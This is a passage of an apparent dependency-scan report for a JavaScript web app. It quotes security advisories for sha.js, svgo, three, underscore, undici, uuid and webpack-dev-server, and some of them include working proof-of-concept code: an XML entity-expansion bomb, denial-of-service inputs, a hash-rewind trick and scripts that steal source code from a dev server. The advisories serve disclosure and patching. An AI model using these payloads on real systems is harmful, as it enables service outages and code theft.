638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
```
Or just:
```console
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
```
### Impact
1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /github/workspace/sitemap.js
MD5: 3e6ce076a1bcd08c5555f31477c9684b
SHA1: 3312b719174b399385fc4ba7451a158eef8e8f66
SHA256:45443918853d97626408b8af89e52bdca51efd9454a19cdff57f7da2eb57da9f
File Path: /github/workspace/src/redux/reducer/soReducer.js
MD5: c29acd6fa5582244f5b699c5c80cc99a
SHA1: 9a85e674dd3c07ed1f52d12ce51d0538844b8b88
SHA256:b3b8ecc649cf2a44dcff7ea928ed5dd17044c2c5a110495a503ea24668649eec
File Path: /github/workspace/src/redux/services/soService.js
MD5: be3d25569997e7511514bb58b2cf06ab
SHA1: 74659fe6e64c5f3f259d7154c2ec01d0abca36e2
SHA256:1fe33e5fab4e86ffa09ade61e93ad3c5229493e33c1f8413a6aa16c75a4d8c3f
File Path: /github/workspace/src/utils/sqliteWorkerBootstrap.js
MD5: 291bfb556d90678e5d88ef902afff880
SHA1: ef4bad8a3fd1abe586040bcd4cf0494b5e48095c
SHA256:ee7ebc18f488ca6139f23bcf6ce775070f58913507fb695b71cc9f485aa9edda
File Path: /github/workspace/src/redux/store/store.js
MD5: 1fc4bd842b10eb3ec16be29bba6597d2
SHA1: 997a651d25bebe881d1c4d93bbd83e9d4f83ef88
SHA256:d67eed90a40ed5d3c622f00376814951e9c5922554af3879c9ad8aa32b1ff006
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/sub-specialities/subSpecialitiesCollapse.js
MD5: 7c9062a6a1d28c9d42d2d6faf033dd98
SHA1: 859e5382503c8100d1dd3e4774b27de5d0cec2c0
SHA256:85acad07d4950453194c182742bba1eed09f7ec62a1b64fe98636e5acec98e93
File Path: /github/workspace/package-lock.json?svgo
Referenced In Project/Scope: package-lock.json: transitive
### Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`.
### Details
The upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
#### Proof of Concept
```js
import { optimize } from 'svgo';
/** Presume that this string was obtained in some other way, such as network. */
const original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
optimize(original);
```
### Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
### Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
### Workarounds
#### == 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
```sh
yarn up -R sax
```
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
#### >= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
```diff
+ import SAX from 'sax';
import { optimize } from 'svgo';
- const original =`
+ let original = `
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
`;
+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+ original = original.replace(doctype, '');
+ }
+ parser.write(original);
optimize(original);
```
### Resources
* [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/synappAdminDashboardReducer.js
MD5: 62cd1ee60f74bab8442f5505f98a1fbf
SHA1: fec15413ea0e9cfef15c8554a39be7f3d511567c
SHA256:fbf172cb7d25303f8b3a6b713d51baa747d9a2b15d117289a25d6363199daef5
File Path: /github/workspace/src/redux/services/synappAdminDashboardService.js
MD5: 273e097e8b3172c72b1e6c30f990bee0
SHA1: cca9df8602b8ec6c074aa4d5d15b2a9044664c1c
SHA256:49dc03c75971ab9bfb37c95e22e9269262ebb112328cae31c40e47a08d1417fd
File Path: /github/workspace/src/app/routes/synappAdminRoutes.js
MD5: 7da94fd8398b53eccac41b1968e960a4
SHA1: 54bdc191d66425a64a6674c1e3c531592a70e0cb
SHA256:aee10d9537eb1a95c884a4058e36ccced71180476ea0e4effb5edd73f8607e52
File Path: /github/workspace/src/utils/sidebarUtils/synappAdminSettingsSidebarUtils.js
MD5: 819755d73491b6877fd6398716ff01da
SHA1: 0e13b34631c35983c2688636f1d0c86d760b9860
SHA256:f503eb89465057f8629715757ea22c372ee969207b5d168403feb233a65cbcb1
File Path: /github/workspace/src/utils/sidebarUtils/synappAdminSidebarUtils.js
MD5: f46e90d22a5322c80dead27ea71d2290
SHA1: df4b6dfc2132a75df3cf40924ff466e82f63d192
SHA256:12c0dc87a5ac45a0c727a791f11205f269eeaf8fb1d8887a8523dd72efffe578
File Path: /github/workspace/src/components/pages/features/my-community/tele-expertise/telexptertiseTabs.js
MD5: 85d45e29bf848d71787c73acdc1ea011
SHA1: c5b3690215a5a5aefd538e9e236dce8102e50e8d
SHA256:4a26c8a1e88c3ec34534691d8fd16a60e08c02d59f952d02aaaabe6978a0829b
File Path: /github/workspace/src/components/pages/features/my-library/tele-expertise/telexptertiseTabs.js
MD5: e714e130cab7bc06b60155dca1c2647d
SHA1: fe04ab62a4ce453b828b8f4e527f042c167f6c40
SHA256:b0dad10e72f3b27c85ca8dd4b6f2d9fc3de0f86cce8860ccef0f808d28379112
File Path: /github/workspace/src/components/pages/features/my-requests/tele-expertise/telexptertiseTabs.js
MD5: e2662f01e9fe103e051d8e7f0f9219ae
SHA1: b5c0a2731bdd2fbfc8f7f085a2de875d76864239
SHA256:3918a4b8cfcead2aee414acb2842f415ba280e8b1d776f940af816be86e7bc43
File Path: /github/workspace/src/utils/matrixUtils/textFormattingUtils.js
MD5: c03e3a53e180bcbe5e1f95fa9506f21f
SHA1: ee3c11092623d976de8d0e3afb9c3fe88b737981
SHA256:bee860ff1d3e100f9d31c168a3cbeb432bc77be28ff1a3c20c624ae001d92a0e
File Path: /github/workspace/src/utils/matrixUtils/textFormattingUtils.test.js
MD5: 5b0b1571188ee4e9cc03e2f239d8e702
SHA1: 5b4c217945f3a21d40a4fe11184f9f2ecea06d15
SHA256:269ac99db83d7c13cf80805b2ecc86db2abefc18b29fd197825e3f8b1975e698
File Path: /github/workspace/src/assets/styles/theming/theme.js
MD5: 8f920afb69b5f3fb7ae32fe6b83cd874
SHA1: d19e9d291fe90f878b131685958d655bef825484
SHA256:119f134ec98789a20a48c6a8eff078c343da014766785344fc50167058db0220
File Path: /github/workspace/package-lock.json?three
Referenced In Project/Scope: package-lock.json: transitive
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
**PoC:**
```js
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
```
CWE-400 Uncontrolled Resource ConsumptionVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/axiosInstance/tokenSetup.js
MD5: 2cca2fa769fbf66cf784e6bdc21abdea
SHA1: 400ac160de941b9f974d4c51014a3f69eb7de07e
SHA256:73a27c84d0e86765bcf9846fe9d40135af25aadd7e0f5a18f56cb98f4c3cc3f0
File Path: /github/workspace/package-lock.json?underscore
Referenced In Project/Scope: package-lock.json: transitive
### Impact
In simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.
In affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.
A proof of concept (PoC) for this type of attack with `_.isEqual`:
```js
const _ = require('underscore');
// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';
// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);
_.isEqual(a, b); // RangeError: Maximum call stack size exceeded
```
A proof of concept (PoC) for this type of attack with `_.flatten`:
```js
const _ = require('underscore');
// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];
_.flatten(nested); // RangeError: Maximum call stack size exceeded
```
An application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:
- Untrusted input must be used to create a recursive datastructure, for example using `JSON.parse`, with no enforced depth limit.
- The datastructure thus created must be passed to `_.flatten` or `_.isEqual`.
- In the case of `_.flatten`, the vulnerability can only be exploited if it is possible for a remote client to prepare a datastructure that consists of arrays at all levels AND if no finite depth limit is passed as the second argument to `_.flatten`.
- In the case of `_.isEqual`, the vulnerability can only be exploited if there exists a code path in which two distinct datastructures that were submitted by the same remote client are compared using `_.isEqual`. For example, if a client submits data that are stored in a database, and the same client can later submit another datastructure that is then compared to the data that were saved in the database previously, OR if a client submits a single request, but its data are parsed twice, creating two non-identical but equivalent datastructures that are then compared.
- Exceptions originating from the call to `_.flatten` or `_.isEqual`, as a result of a stack overflow, are not being caught.
All versions of Underscore up to and including 1.13.7 are affected by this weakness.
### Patches
The problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation.
**Note:** historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users.
### Workarounds
A workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels.
Another possible workaround that only works for `_.flatten`, is to pass a second argument that limits the flattening depth to 1000 or less.
### References
- https://github.com/jashkenas/underscore/issues/3011
- https://underscorejs.org/#1.13.8
- https://underscorejs.org/#flatten
- https://underscorejs.org/#isEqual
CWE-770 Allocation of Resources Without Limits or Throttling, CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?underscore
Referenced In Project/Scope: package-lock.json: transitive
The package `underscore` from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?undici
Referenced In Project/Scope: package-lock.json: transitive
### Impact The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination. The vulnerability exists because: 1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15 2. The `createInflateRaw()` call is not wrapped in a try-catch block 3. The resulting exception propagates up through the call stack and crashes the Node.js process ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_CWE-248 Uncaught Exception
Vulnerable Software & Versions (NPM):
## Description The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive. The vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold. ## Impact - Remote denial of service against any Node.js application using undici's WebSocket client - A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more - Memory exhaustion occurs in native/external memory, bypassing V8 heap limits - No application-level mitigation is possible as decompression occurs before message delivery ### Patches Users should upgrade to fixed versions. ### Workarounds No workaround are possible.CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable Software & Versions (NPM):
### Impact [Undici `fetch()` uses Math.random()](https://github.com/nodejs/undici/blob/8b06b8250907d92fead664b3368f1d2aa27c1f35/lib/web/fetch/body.js#L113) to choose the boundary for a multipart/form-data request. It is known that the output of Math.random() can be predicted if several of its generated values are known. If there is a mechanism in an app that sends multipart requests to an attacker-controlled website, they can use this to leak the necessary values. Therefore, An attacker can tamper with the requests going to the backend APIs if certain conditions are met. ### Patches This is fixed in 5.28.5; 6.21.1; 7.2.3. ### Workarounds Do not issue multipart requests to attacker controlled servers. ### References * https://hackerone.com/reports/2913312 * https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7fCWE-330 Use of Insufficiently Random Values
Vulnerable Software & Versions (NPM):
### Impact
Undici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.
**Who is impacted:**
- Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays
- Applications that accept user-controlled header names without case-normalization
**Potential consequences:**
- **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)
- **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking
### Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
### Workarounds
If upgrading is not immediately possible:
1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici
2. **Use object format**: Pass headers as a plain object (`{ 'content-length': '123' }`) rather than an array, which naturally deduplicates by key
3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')Vulnerable Software & Versions (NPM):
### Impact The `fetch()` API supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, br). This is also supported by the undici decompress interceptor. However, the number of links in the decompression chain is unbounded and the default maxHeaderSize allows a malicious server to insert thousands compression steps leading to high CPU usage and excessive memory allocation. ### Patches Upgrade to 7.18.2 or 6.23.0. ### Workarounds It is possible to apply an undici interceptor and filter long `Content-Encoding` sequences manually. ### References * https://hackerone.com/reports/3456148 * https://github.com/advisories/GHSA-gm62-xv2j-4w53 * https://curl.se/docs/CVE-2022-32206.htmlCWE-770 Allocation of Resources Without Limits or Throttling
Vulnerable Software & Versions (NPM):
### Impact
When an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\r\n`) to:
1. Inject arbitrary HTTP headers
2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)
The vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:
```javascript
// lib/dispatcher/client-h1.js:1121
if (upgrade) {
header += `connection: upgrade\r\nupgrade: ${upgrade}\r\n`
}
```
### Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
### Workarounds
Sanitize the `upgrade` option string before passing to undici:
```javascript
function sanitizeUpgrade(value) {
if (/[\r\n]/.test(value)) {
throw new Error('Invalid upgrade value')
}
return value
}
client.request({
upgrade: sanitizeUpgrade(userInput)
})
```
CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')Vulnerable Software & Versions (NPM):
### Impact Applications that use undici to implement a webhook-like system are vulnerable. If the attacker set up a server with an invalid certificate, and they can force the application to call the webhook repeatedly, then they can cause a memory leak. ### Patches This has been patched in https://github.com/nodejs/undici/pull/4088. ### Workarounds If a webhook fails, avoid keep calling it repeatedly. ### References Reported as: https://github.com/nodejs/undici/issues/3895CWE-401 Missing Release of Memory after Effective Lifetime
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/utils/uploadFileToS3.js
MD5: 603109c34a1c80ca0242966d4b81d6b0
SHA1: b1fe2eae3940241653a86b1125a978ee6efaee8e
SHA256:9b95986b34b335e8d4f4a05b25b11436ba285b6bc479c9db06aab80f2b64c31f
File Path: /github/workspace/src/hooks/useClickOutside.js
MD5: 4e29a3edc063ae1bce75a92efd8ff5f2
SHA1: 1a85ecc1f1050ccfc7e8125c5a0ba40c5aea8c50
SHA256:bec03ce8cfbeb51805a66ff445dc1a3e24a30778e5380d4dd0967774af642d65
File Path: /github/workspace/src/components/common/verify-coupon-code/useCouponCodeVerification.js
MD5: 80747f91be10ef0dba580c4bb74c1fda
SHA1: c820ea5e36e0330c7660c6ea24b7986684b9ce70
SHA256:269ca656e39b0b2da0fe2965b700586cfe6057802e5c61b00c49a061a2715c8f
File Path: /github/workspace/src/hooks/useDebounce.js
MD5: aef94550fe7d08f7e7175922671089bb
SHA1: 8d0c8d8cef2375b0d106fa4ba0f45252b855fe76
SHA256:6aff8698bdf611aa3c5f5f6ee3311d111fae4718a03fd8a87eca676ace0a7f26
File Path: /github/workspace/src/hooks/useEditMessage.js
MD5: 7072e627c9a2e06576901d3b64034f4f
SHA1: a0f52c3c8295cb04261a1cc8480f7e24b750a884
SHA256:58acc6281abae4525c1accdc0c4836d0cecc418134e42f73071796653d6f7eca
File Path: /github/workspace/src/hooks/useEncryptedJWT.js
MD5: 271ac646ea8eec29889cd8c6a386a20e
SHA1: 52070367abc8168982f6776aa087ef4447b1dc92
SHA256:678d20ea8fd4db536a4872c451d8cf30dda84e7b1764c968e776ad80d5324358
File Path: /github/workspace/src/hooks/useNavigateWithPrevPath.js
MD5: eb8d8cbec3837b9a331ce5697e3ce87f
SHA1: a1535b0e508b0820adeec37f61387d38754f83cf
SHA256:1ca389c530b89a0e0af717314e689171cb17f990732cb9bab15dbad25eb62fa8
File Path: /github/workspace/src/hooks/usePhoneInput.js
MD5: b74e19d986e6eb76143802f39ced7280
SHA1: 0e78bf594c0c5147896003b7c31afcd62a15261c
SHA256:596455461b32fb83f14526da64844d8f4a6628a81a306e57c9804f4877d0a9a4
File Path: /github/workspace/src/hooks/useSearch.js
MD5: 730fa15eb1fd610e3c42b353d81a1864
SHA1: cdf911fd3ceef0a90f73182a38bd6f1bbe29042d
SHA256:a828e01a0a6dec88865600bcaa7088a56debc709492fcbe9fdb5f923574736b1
File Path: /github/workspace/src/hooks/useTimer.js
MD5: c7f3c79696d07be6608a88d7f9959773
SHA1: 34de7646676546dbb6be3af79c06455694523392
SHA256:5c107572d4fbdbb9acec464009215053938902573f374c65e38dc12966219486
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/userRolesAndPermissionsTabs.js
MD5: a8ad1aabafcd90376c1622da01a755ba
SHA1: 0d1a397815a3652ba1168077ebb807888a432888
SHA256:27f68802b9a39e503bd4ce34e9a92fad36771c5a11256eae976adfb926224c26
File Path: /github/workspace/public/dwv/decoders/pdfjs/util.js
MD5: acdd2063f79fed61bd7ab75cf62507c5
SHA1: d70a4e8928dbe7e19f32bf81f1141740c8a3671a
SHA256:a0ee561ef43b5b45267555fc2e913dec5baf46bde438efcfa30ef10eab2e430e
File Path: /github/workspace/package-lock.json?uuid
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).
By contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.
This inconsistency allows **silent partial writes** into caller-provided buffers.
### Affected code
- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.
- `src/v6.ts` writes `buf[offset + i]` without bounds validation.
### Reproducible PoC
```bash
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4()',()=>v4({},new Uint8Array(8),4)],
['v5()',()=>v5('x',ns,new Uint8Array(8),4)],
['v6()',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
```
Observed:
- `v4() THREW RangeError`
- `v5() NO_THROW`
- `v6() NO_THROW`
Example partial overwrite evidence captured during audit:
```text
same true buf [
170, 170, 170, 170,
75, 224, 100, 63
]
v6 [
187, 187, 187, 187,
31, 19, 185, 64
]
```
### Security impact
- **Primary**: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.
### Suggested fix
Add the same guard used by `v4()`/`v1()`/`v7()`:
```ts
if (offset < 0 || offset + 16 > buf.length) {
throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
```
Apply to:
- `src/v35.ts` (covers `v3()` and `v5()`)
- `src/v6.ts`
CWE-787 Out-of-bounds Write, CWE-1285 Improper Validation of Specified Index, Position, or Offset in InputVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/videoCallReducer.js
MD5: 106d44e707d6b2cd51b6f0a8b9cb9a93
SHA1: 345dcf57721052bfd04e6768bae71b5aac6b9301
SHA256:99a670157c320490e27d845b5ad0dbf5b42388fcb64c05bff2f2b8091dbfe18d
File Path: /github/workspace/src/redux/services/videoCallService.js
MD5: 71a61da327e89f683903d85c18577057
SHA1: 2e0ef9db02f2bdaa73c85e275de4ecac36d78efe
SHA256:d5171374926e46aea988020057d1937f2b026a485cd1d65652f509acc25f6c45
File Path: /github/workspace/src/components/pages/features/view-case/viewCaseCommentsCollapse.js
MD5: 4bfd4b0917416a9863897fad30f4bc59
SHA1: 37873ef6c81d7d0ea7548210c60265819f810f80
SHA256:00e7753dc8994f2cc2361864cd36a6a6cc73f91dcc948ff6b586026193f8620e
File Path: /github/workspace/src/components/pages/features/view-so-case/viewSOCaseCommentsCollapse.js
MD5: 9e5fe341a8b9deb5d96321e51b813014
SHA1: 4a371cdc2f1536e57009df18f8ea5d16331d1b4d
SHA256:a8361d79628cb35ec8d049ba05fd98d816e741e0106362600b9d07c6e21d2e8b
File Path: /github/workspace/package-lock.json?webpack-dev-server
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
### Details
The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address `Origin` headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main` with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit `src/index.js` in the extracted directory
6. You can see the content of `src/index.js`

The script in the POC site is:
```js
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
```
### Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
CWE-346 Origin Validation ErrorVulnerable Software & Versions (NPM):
### Summary
Source code may be stolen when you access a malicious web site.
### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools console.

The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
